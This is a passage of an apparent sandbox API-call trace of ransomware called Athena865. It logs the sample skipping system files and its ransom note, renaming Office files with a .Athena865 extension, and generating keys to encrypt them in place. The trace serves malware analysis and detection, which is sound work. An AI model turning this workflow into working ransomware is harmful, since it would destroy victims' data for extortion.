lpString2=".sys") returned 1 [0152.136] lstrlenW (lpString="OLADD.FAE") returned 9 [0152.136] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE.Athena865") returned 70 [0152.136] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae.athena865"), dwFlags=0x1) returned 1 [0152.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.138] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133024) returned 1 [0152.138] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.139] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0152.139] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ef68 [0152.139] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0152.139] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.140] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.140] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20aa0, lpName=0x0) returned 0x154 [0152.141] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x20aa0) returned 0x170000 [0152.148] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0152.149] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.149] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.149] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0152.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0152.149] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.149] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.149] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.149] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0152.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0152.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.149] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0152.151] CloseHandle (hObject=0x154) returned 1 [0152.151] CloseHandle (hObject=0x17c) returned 1 [0152.151] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0152.151] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ef68 | out: hHeap=0x4f0000) returned 1 [0152.151] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.151] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6bd79c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1dda8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OLAPPT.FAE", cAlternateFileName="")) returned 1 [0152.152] lstrcmpiW (lpString1="OLAPPT.FAE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0152.152] lstrcmpiW (lpString1="OLAPPT.FAE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.152] lstrcmpiW (lpString1="OLAPPT.FAE", lpString2=".") returned 1 [0152.152] lstrcmpiW (lpString1="OLAPPT.FAE", lpString2="..") returned 1 [0152.152] lstrcmpiW (lpString1="OLAPPT.FAE", lpString2="windows") returned -1 [0152.152] lstrcmpiW (lpString1="OLAPPT.FAE", lpString2="bootmgr") returned 1 [0152.152] lstrcmpiW (lpString1="OLAPPT.FAE", lpString2="temp") returned -1 [0152.152] lstrcmpiW (lpString1="OLAPPT.FAE", lpString2="pagefile.sys") returned -1 [0152.152] lstrcmpiW (lpString1="OLAPPT.FAE", lpString2="boot") returned 1 [0152.152] lstrcmpiW (lpString1="OLAPPT.FAE", lpString2="ids.txt") returned 1 [0152.152] lstrcmpiW (lpString1="OLAPPT.FAE", lpString2="ntuser.dat") returned 1 [0152.152] lstrcmpiW (lpString1="OLAPPT.FAE", lpString2="perflogs") returned -1 [0152.152] lstrcmpiW (lpString1="OLAPPT.FAE", lpString2="MSBuild") returned 1 [0152.152] lstrlenW (lpString="OLAPPT.FAE") returned 10 [0152.152] lstrcpyW (in: lpString1=0x241e8ae, lpString2="OLAPPT.FAE" | out: lpString1="OLAPPT.FAE") returned="OLAPPT.FAE" [0152.152] lstrlenW (lpString="OLAPPT.FAE") returned 10 [0152.152] lstrlenW (lpString="Athena865") returned 9 [0152.152] lstrcmpiW (lpString1="LAPPT.FAE", lpString2="Athena865") returned 1 [0152.152] lstrlenW (lpString=".dll") returned 4 [0152.152] lstrcmpiW (lpString1="OLAPPT.FAE", lpString2=".dll") returned 1 [0152.152] lstrlenW (lpString=".lnk") returned 4 [0152.152] lstrcmpiW (lpString1="OLAPPT.FAE", lpString2=".lnk") returned 1 [0152.152] lstrlenW (lpString=".ini") returned 4 [0152.152] lstrcmpiW (lpString1="OLAPPT.FAE", lpString2=".ini") returned 1 [0152.152] lstrlenW (lpString=".sys") returned 4 [0152.152] lstrcmpiW (lpString1="OLAPPT.FAE", lpString2=".sys") returned 1 [0152.152] lstrlenW (lpString="OLAPPT.FAE") returned 10 [0152.152] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE.Athena865") returned 71 [0152.153] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae.athena865"), dwFlags=0x1) returned 1 [0152.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.154] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=122280) returned 1 [0152.154] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.154] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0152.154] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ef68 [0152.154] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0152.155] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.155] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.155] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e0b0, lpName=0x0) returned 0x154 [0152.164] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e0b0) returned 0x100000 [0152.172] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0152.173] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.173] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0152.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0152.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0152.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0152.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.173] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.174] CloseHandle (hObject=0x154) returned 1 [0152.174] CloseHandle (hObject=0x17c) returned 1 [0152.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0152.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ef68 | out: hHeap=0x4f0000) returned 1 [0152.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.175] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x117a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OLJRNL.FAE", cAlternateFileName="")) returned 1 [0152.175] lstrcmpiW (lpString1="OLJRNL.FAE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0152.175] lstrcmpiW (lpString1="OLJRNL.FAE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.175] lstrcmpiW (lpString1="OLJRNL.FAE", lpString2=".") returned 1 [0152.175] lstrcmpiW (lpString1="OLJRNL.FAE", lpString2="..") returned 1 [0152.175] lstrcmpiW (lpString1="OLJRNL.FAE", lpString2="windows") returned -1 [0152.175] lstrcmpiW (lpString1="OLJRNL.FAE", lpString2="bootmgr") returned 1 [0152.176] lstrcmpiW (lpString1="OLJRNL.FAE", lpString2="temp") returned -1 [0152.176] lstrcmpiW (lpString1="OLJRNL.FAE", lpString2="pagefile.sys") returned -1 [0152.176] lstrcmpiW (lpString1="OLJRNL.FAE", lpString2="boot") returned 1 [0152.176] lstrcmpiW (lpString1="OLJRNL.FAE", lpString2="ids.txt") returned 1 [0152.176] lstrcmpiW (lpString1="OLJRNL.FAE", lpString2="ntuser.dat") returned 1 [0152.176] lstrcmpiW (lpString1="OLJRNL.FAE", lpString2="perflogs") returned -1 [0152.176] lstrcmpiW (lpString1="OLJRNL.FAE", lpString2="MSBuild") returned 1 [0152.176] lstrlenW (lpString="OLJRNL.FAE") returned 10 [0152.176] lstrcpyW (in: lpString1=0x241e8ae, lpString2="OLJRNL.FAE" | out: lpString1="OLJRNL.FAE") returned="OLJRNL.FAE" [0152.176] lstrlenW (lpString="OLJRNL.FAE") returned 10 [0152.176] lstrlenW (lpString="Athena865") returned 9 [0152.176] lstrcmpiW (lpString1="LJRNL.FAE", lpString2="Athena865") returned 1 [0152.176] lstrlenW (lpString=".dll") returned 4 [0152.176] lstrcmpiW (lpString1="OLJRNL.FAE", lpString2=".dll") returned 1 [0152.176] lstrlenW (lpString=".lnk") returned 4 [0152.176] lstrcmpiW (lpString1="OLJRNL.FAE", lpString2=".lnk") returned 1 [0152.176] lstrlenW (lpString=".ini") returned 4 [0152.176] lstrcmpiW (lpString1="OLJRNL.FAE", lpString2=".ini") returned 1 [0152.176] lstrlenW (lpString=".sys") returned 4 [0152.176] lstrcmpiW (lpString1="OLJRNL.FAE", lpString2=".sys") returned 1 [0152.176] lstrlenW (lpString="OLJRNL.FAE") returned 10 [0152.176] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE.Athena865") returned 71 [0152.176] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae.athena865"), dwFlags=0x1) returned 1 [0152.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.179] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=71584) returned 1 [0152.179] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0152.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ef68 [0152.180] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0152.180] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.180] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.181] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11aa0, lpName=0x0) returned 0x154 [0152.182] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11aa0) returned 0x100000 [0152.187] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0152.188] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.188] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0152.188] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0152.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.188] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0152.188] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.188] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0152.188] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.188] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.189] CloseHandle (hObject=0x154) returned 1 [0152.189] CloseHandle (hObject=0x17c) returned 1 [0152.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0152.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ef68 | out: hHeap=0x4f0000) returned 1 [0152.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.190] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6bd9fd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xf798, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OLMAIL.FAE", cAlternateFileName="")) returned 1 [0152.190] lstrcmpiW (lpString1="OLMAIL.FAE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0152.190] lstrcmpiW (lpString1="OLMAIL.FAE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.190] lstrcmpiW (lpString1="OLMAIL.FAE", lpString2=".") returned 1 [0152.190] lstrcmpiW (lpString1="OLMAIL.FAE", lpString2="..") returned 1 [0152.190] lstrcmpiW (lpString1="OLMAIL.FAE", lpString2="windows") returned -1 [0152.190] lstrcmpiW (lpString1="OLMAIL.FAE", lpString2="bootmgr") returned 1 [0152.190] lstrcmpiW (lpString1="OLMAIL.FAE", lpString2="temp") returned -1 [0152.190] lstrcmpiW (lpString1="OLMAIL.FAE", lpString2="pagefile.sys") returned -1 [0152.190] lstrcmpiW (lpString1="OLMAIL.FAE", lpString2="boot") returned 1 [0152.190] lstrcmpiW (lpString1="OLMAIL.FAE", lpString2="ids.txt") returned 1 [0152.190] lstrcmpiW (lpString1="OLMAIL.FAE", lpString2="ntuser.dat") returned 1 [0152.190] lstrcmpiW (lpString1="OLMAIL.FAE", lpString2="perflogs") returned -1 [0152.190] lstrcmpiW (lpString1="OLMAIL.FAE", lpString2="MSBuild") returned 1 [0152.190] lstrlenW (lpString="OLMAIL.FAE") returned 10 [0152.190] lstrcpyW (in: lpString1=0x241e8ae, lpString2="OLMAIL.FAE" | out: lpString1="OLMAIL.FAE") returned="OLMAIL.FAE" [0152.190] lstrlenW (lpString="OLMAIL.FAE") returned 10 [0152.190] lstrlenW (lpString="Athena865") returned 9 [0152.190] lstrcmpiW (lpString1="LMAIL.FAE", lpString2="Athena865") returned 1 [0152.190] lstrlenW (lpString=".dll") returned 4 [0152.190] lstrcmpiW (lpString1="OLMAIL.FAE", lpString2=".dll") returned 1 [0152.190] lstrlenW (lpString=".lnk") returned 4 [0152.190] lstrcmpiW (lpString1="OLMAIL.FAE", lpString2=".lnk") returned 1 [0152.190] lstrlenW (lpString=".ini") returned 4 [0152.191] lstrcmpiW (lpString1="OLMAIL.FAE", lpString2=".ini") returned 1 [0152.191] lstrlenW (lpString=".sys") returned 4 [0152.191] lstrcmpiW (lpString1="OLMAIL.FAE", lpString2=".sys") returned 1 [0152.191] lstrlenW (lpString="OLMAIL.FAE") returned 10 [0152.191] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE.Athena865") returned 71 [0152.191] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae.athena865"), dwFlags=0x1) returned 1 [0152.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.192] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=63384) returned 1 [0152.192] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.193] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0152.193] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ef68 [0152.193] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0152.193] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.194] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.194] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfaa0, lpName=0x0) returned 0x154 [0152.196] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfaa0) returned 0x100000 [0152.200] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0152.200] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.200] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0152.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0152.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0152.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0152.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.201] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.202] CloseHandle (hObject=0x154) returned 1 [0152.202] CloseHandle (hObject=0x17c) returned 1 [0152.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0152.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ef68 | out: hHeap=0x4f0000) returned 1 [0152.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.203] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xcb98, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OLNOTE.FAE", cAlternateFileName="")) returned 1 [0152.203] lstrcmpiW (lpString1="OLNOTE.FAE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0152.203] lstrcmpiW (lpString1="OLNOTE.FAE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.203] lstrcmpiW (lpString1="OLNOTE.FAE", lpString2=".") returned 1 [0152.203] lstrcmpiW (lpString1="OLNOTE.FAE", lpString2="..") returned 1 [0152.203] lstrcmpiW (lpString1="OLNOTE.FAE", lpString2="windows") returned -1 [0152.203] lstrcmpiW (lpString1="OLNOTE.FAE", lpString2="bootmgr") returned 1 [0152.203] lstrcmpiW (lpString1="OLNOTE.FAE", lpString2="temp") returned -1 [0152.203] lstrcmpiW (lpString1="OLNOTE.FAE", lpString2="pagefile.sys") returned -1 [0152.203] lstrcmpiW (lpString1="OLNOTE.FAE", lpString2="boot") returned 1 [0152.203] lstrcmpiW (lpString1="OLNOTE.FAE", lpString2="ids.txt") returned 1 [0152.203] lstrcmpiW (lpString1="OLNOTE.FAE", lpString2="ntuser.dat") returned 1 [0152.203] lstrcmpiW (lpString1="OLNOTE.FAE", lpString2="perflogs") returned -1 [0152.203] lstrcmpiW (lpString1="OLNOTE.FAE", lpString2="MSBuild") returned 1 [0152.203] lstrlenW (lpString="OLNOTE.FAE") returned 10 [0152.203] lstrcpyW (in: lpString1=0x241e8ae, lpString2="OLNOTE.FAE" | out: lpString1="OLNOTE.FAE") returned="OLNOTE.FAE" [0152.203] lstrlenW (lpString="OLNOTE.FAE") returned 10 [0152.203] lstrlenW (lpString="Athena865") returned 9 [0152.203] lstrcmpiW (lpString1="LNOTE.FAE", lpString2="Athena865") returned 1 [0152.203] lstrlenW (lpString=".dll") returned 4 [0152.203] lstrcmpiW (lpString1="OLNOTE.FAE", lpString2=".dll") returned 1 [0152.203] lstrlenW (lpString=".lnk") returned 4 [0152.204] lstrcmpiW (lpString1="OLNOTE.FAE", lpString2=".lnk") returned 1 [0152.204] lstrlenW (lpString=".ini") returned 4 [0152.204] lstrcmpiW (lpString1="OLNOTE.FAE", lpString2=".ini") returned 1 [0152.204] lstrlenW (lpString=".sys") returned 4 